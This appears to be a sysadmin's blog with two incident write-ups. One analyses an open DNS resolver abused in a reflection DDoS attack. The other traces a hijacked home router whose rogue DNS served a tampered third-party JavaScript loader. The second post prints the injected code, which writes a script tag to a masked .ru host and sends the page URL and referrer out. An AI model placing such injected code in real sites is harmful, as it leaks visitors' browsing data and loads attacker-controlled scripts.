Random Musings of an Insane Mind

We operate a number of DNS servers, one of which we left open for recursive lookups for clients to see their sites before they’ve moved the DNS. While we normally handle that through a proxy server we maintain, DNS was a secondary method for doing this which was sometimes easier than having a client use a proxy server.

Today, after 60 days notice, we shut off external recursive lookups at 6pm EST. In the last two hours, we’ve received a number of ‘lookups’ from a few ‘high volume’ IP Addresses. The list is surprising.

Output from (annotated with whois info):

grep -E 'denied$' /var/log/syslog|cut -f 8 -d ' '|cut -f 1 -d '#'|sort|uniq -c|sort -nr|head -n 30

 506452 212.146.85.194  (GTS Telecom Romania Operations)
  38444 141.101.125.86  (Cloudflare EU)
  10490 141.101.124.86  (Cloudflare EU)
  10236 67.228.130.45  (Softlayer)
   4784 212.227.135.196  (OneandOne AG)
   1277 173.201.216.32  (Godaddy)
    673 163.121.134.170 
    620 163.121.194.154
    617 2001:2060:ffff:a01::53 (Sonera, Finland)
    528 95.142.101.5  (Cyber Technology BVBA) 
    528 95.142.100.5  (Cyber Technology BVBA)
    528 178.237.35.125
    464 66.93.87.2
    323 193.210.18.18
    306 67.15.238.64
    294 193.210.19.19
    270 94.23.147.151
    230 76.76.11.241
    213 72.53.193.43
    207 204.194.238.17
    202 72.53.193.42
    192 208.80.194.121
    190 78.28.197.6
    190 78.28.197.5
    190 212.93.150.198
    180 204.194.238.15
    168 213.157.178.54
    160 208.69.35.22
    153 163.121.128.90
    152 212.6.108.157

What are we seeing?

GTS Telecom Romania Operations:
# grep 212.146.85.194 /var/log/syslog|cut -f 2 -d "'"|sort|uniq -c|sort -nr|more
 539590 isc.org/ANY/IN

CloudFlare EU:
# grep 141.101.125.86 /var/log/syslog|cut -f 2 -d "'"|sort|uniq -c|sort -nr|more
  41660 ripe.net/ANY/IN

# grep 141.101.124.86 /var/log/syslog|cut -f 2 -d "'"|sort|uniq -c|sort -nr|more
  10490 ripe.net/ANY/IN

SoftLayer:
# grep 67.228.130.45 /var/log/syslog|cut -f 2 -d "'"|sort|uniq -c|sort -nr|more
  10924 ripe.net/ANY/IN
      1 pdkamoaaaaekt0000dkaaabaaafbadli.ripe.net/ANY/IN
      1 oobdjlaaaaekt0000dkaaabaaafbadli.ripe.net/ANY/IN
      1 onigfiaaaaekt0000dkaaabaaafbadli.ripe.net/ANY/IN
      1 ojfhfgaaaaekt0000dkaaabaaafbadli.ripe.net/ANY/IN
      1 nphhdiaaaaekt0000dkaaabaaafbadli.ripe.net/ANY/IN
      1 ngffklaaaaekt0000dkaaabaaafbadli.ripe.net/ANY/IN

OneandOne AG:
# grep 212.227.135.196 /var/log/syslog|cut -f 2 -d "'"|sort|uniq -c|sort -nr|more
   5196 isc.org/ANY/IN

Godaddy:
# grep 173.201.216.32 /var/log/syslog|cut -f 2 -d "'"|sort|uniq -c|sort -nr|more
   3031 ripe.net/ANY/IN

Lumped into that was an IPv6 resolver that actually pointed out an interesting issue. The domains 2001:2060:ffff:a01::53 is looking for should be hitting our server for an authoritative lookup, but, appears to be doing recursive lookups. I’ve made a minor change to our configs to see if I can log a bit more data as it isn’t a continuous stream.

It is interesting to see the number of hits that occurred in a two hour period which explains why the network PPS rate on that server has been higher than normal.

This traffic is part of a DNS reflection DDOS attack using spoofed UDP packets with the ‘source address’ set to the above targets. Why they’ve chosen isc.org or ripe.net as their typical entry, I don’t know. Since UDP is a connectionless protocol, there is no Syn/Ack, making DNS susceptible to spoofed packets. Our DNS resolver, which was previously publicly available, was responding based on the source IP in the UDP payload. The hackers chose a particular group of servers to send those responses to.

Oddly, I did see some TCP traffic from one of Cloudflare’s EU servers which should have been impossible as they are using anycast. Shortly after disabling recursive lookups, the attack stopped. This means that the hackers are watching the servers involved in the attack and when they saw that it was no longer affected, they stopped sending that spoofed traffic.

We are in the process of upgrading our DNS servers and swapping things around and this was the first step in redesigning our DNS infrastructure. It was only by chance we noticed that our resolver was being used in the DNS reflection attack as it was only sending out a few mb/sec more traffic than it should have been.

My apologies to the servers that were receiving DDOS traffic from our resolvers.

A few days ago a client had a window opened up in their browser with an Ip address and a query string parameter with his domain name. He asked me if his wordpress site had been hacked. I took a look through the files on the disk, dumped the database and did a grep, looked around the site using Chrome, Firefox and Safari and saw nothing. I even used Firefox to view generated source as sometimes scripts utilize the fact that JQuery is already loaded to load their extra payload through a template or addon.

Nothing. He runs a mac, his wife was having the same issue. I recalled the issue with the recent Adobe Flash plugin, but, he said something that was very confusing – our IPad’s do it too.

No Flash on IPad, can’t install most of the toolbar code on the IPad due to a fairly tight sandbox and the same behavior across multiple machines. Even machines that weren’t accessing his site were popping up windows/tabs in Safari.

I had him check his System Preferences, TCP/IP and the DNS settings and he read the numbers. The last one of 1.1.1.1 seemed odd, but, wouldn’t normally cause an issue since 1.0.0.0/8 isn’t routed. The other two DNS server IPs were read off and written down. Doing a reverse IP lookup resulted in a Not Found. Since he was on RoadRunner, I found that a bit odd, so, I did a whois and found out that both of the IP addresses listed as DNS were hosted in Russia.

Now we’re getting somewhere. The settings on his machine were grabbed from DHCP, so, that meant his router was probably set to use those servers. Sure enough, we logged in with the default username/password of admin/password, looked at the first page and there they were. We modified them to use google’s resolvers and changed the password on the router to something a little more secure.

We checked a few settings in the Linksys router and remote web access wasn’t enabled, so, the only way it could have happened is a Javascript exploit that logged into the router and made the changes. However, now the fun began. Trying to figure out what was actually intercepted. Since I had a source site that I knew caused issues, through some quick investigative work, we find a number of external URLs loaded on his site that might be common enough and small enough to be of interest. Since we know that particular scripts require jQuery, we can look at anything that calls something external in his source.

First thought was the Twitter sidebar, but, that calls Twitter directly which means all of that traffic would have to be proxied. Certainly wouldn’t want to do that when you have limited bandwidth. Feedburner seemed like a potential vector, but, probably very limited access and those were hrefs, so, they would have had to have been followed. The Feedburner widget wasn’t present. Bookmarklet.amplify.com seemed like a reasonable target, but, the DNS for it through the Russian DNS servers and other resolvers was the same. That isn’t to say that they couldn’t change it on a per request basis to balance for traffic, but, we’re going on the assumption it’ll be a fire and forget operation.

After looking through, statcounter could have been a suspect, but, again the DNS entries appeared to be the same, however, it does fit the criteria of a small javascript on a page that might have jquery.

However, the next entry appeared to be a good candidate. cdn.wibiya.com which requires jquery and loads a small javascript. DNS entries are different – though, we could attribute that to the fact it is a CDN, but, we get a CNAME from google’s resolvers, and an IN A record from the suspect DNS servers.

The Loader.js contains a tiny bit of extra code at the bottom containing:

var xxxxxx_html = '';
    xxxxxx_html += '<scr ' + 'ipt language="JavaSc' + 'ript" ';
    xxxxxx_html += 'src="http://xx' + 'xxxx.ru/js.php?id=36274';
    xxxxxx_html += '&dd=3&url=' + encodeURIComponent(document.location);
    xxxxxx_html += '&ref=' + encodeURIComponent(document.referrer);
    xxxxxx_html += '&rnd=' + Math.random() + '"></scr>';
    document.write(xxxxxx_html);

I did a few checks to see if I could find any other hostnames that they had filtered, but, wasn’t able to find anything with a quick glance. Oh, and these guys minified the javascript – even though wibiya didn’t. And no, the server hosting the content was in the USA, only the DNS server was outside the USA.

After years of reading about this type of attack, it is the first time I was able to witness it first-hand.